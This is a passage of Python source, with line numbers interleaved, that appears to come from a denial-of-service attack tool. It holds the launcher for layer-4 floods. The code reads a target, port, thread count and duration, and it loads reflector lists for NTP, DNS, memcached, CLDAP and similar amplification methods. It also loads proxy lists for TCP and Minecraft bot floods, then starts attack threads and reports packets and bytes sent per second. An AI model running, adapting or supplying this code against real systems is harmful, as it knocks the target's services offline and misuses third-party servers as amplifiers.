1653
1654
threads = int(argv[3])
1655
timer = int(argv[4])
1656
proxies = None
1657
ref = None
1658
1659
if not port:
1660
logger.warning("Port Not Selected, Set To Default: 80")
1661
port = 80
1662
1663
if method in {"SYN", "ICMP"}:
1664
__ip__ = __ip__
1665
1666
if len(argv) >= 6:
1667
argfive = argv[5].strip()
1668
if argfive:
1669
refl_li = Path(__dir__ / "files" / argfive)
1670
if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD"}:
1671
if not refl_li.exists():
1672
exit("The reflector file doesn't exist")
1673
if len(argv) == 7:
1674
logger.setLevel("DEBUG")
1675
ref = set(a.strip()
1676
for a in Tools.IP.findall(refl_li.open("r").read()))
1677
if not ref: exit("Empty Reflector File ")
1678
1679
elif argfive.isdigit() and len(argv) >= 7:
1680
if len(argv) == 8:
1681
logger.setLevel("DEBUG")
1682
proxy_ty = int(argfive)
1683
proxy_li = Path(__dir__ / "files/proxies" / argv[6].strip())
1684
proxies = handleProxyList(con, proxy_li, proxy_ty)
1685
if method not in {"MINECRAFT", "MCBOT", "TCP", "CPS", "CONNECTION"}:
1686
exit("this method cannot use for layer4 proxy")
1687
1688
else:
1689
logger.setLevel("DEBUG")
1690
1691
protocolid = con["MINECRAFT_DEFAULT_PROTOCOL"]
1692
1693
if method == "MCBOT":
1694
with suppress(Exception), socket(AF_INET, SOCK_STREAM) as s:
1695
Tools.send(s, Minecraft.handshake((target, port), protocolid, 1))
1696
Tools.send(s, Minecraft.data(b'\x00'))
1697
1698
protocolid = Tools.protocolRex.search(str(s.recv(1024)))
1699
protocolid = con["MINECRAFT_DEFAULT_PROTOCOL"] if not protocolid else int(protocolid.group(1))
1700
1701
if 47 < protocolid > 758:
1702
protocolid = con["MINECRAFT_DEFAULT_PROTOCOL"]
1703
1704
for _ in range(threads):
1705
Layer4((target, port), ref, method, event,
1706
proxies, protocolid).start()
1707
1708
logger.info(
1709
f"{bcolors.WARNING}Attack Started to{bcolors.OKBLUE} %s{bcolors.WARNING} with{bcolors.OKBLUE} %s{bcolors.WARNING} method for{bcolors.OKBLUE} %s{bcolors.WARNING} seconds, threads:{bcolors.OKBLUE} %d{bcolors.WARNING}!{bcolors.RESET}"
1710
% (target or url.host, method, timer, threads))
1711
event.set()
1712
ts = time()
1713
while time() < ts + timer:
1714
logger.debug(
1715
f'{bcolors.WARNING}Target:{bcolors.OKBLUE} %s,{bcolors.WARNING} Port:{bcolors.OKBLUE} %s,{bcolors.WARNING} Method:{bcolors.OKBLUE} %s{bcolors.WARNING} PPS:{bcolors.OKBLUE} %s,{bcolors.WARNING} BPS:{bcolors.OKBLUE} %s / %d%%{bcolors.RESET}' %
1716
(target or url.host,
1717
port or (url.port or 80),
1718
method,
1719
Tools.humanformat(int(REQUESTS_SENT)),
1720
Tools.humanbytes(int(BYTES_SEND)),
1721
round((time() - ts) / timer * 100, 2)))
1722
REQUESTS_SENT.set(0)
1723
BYTES_SEND.set(0)
1724
sleep(1)
1725
1726
event.clear()
1727
exit()
1728
1729
ToolsConsole.usage()
1730
1731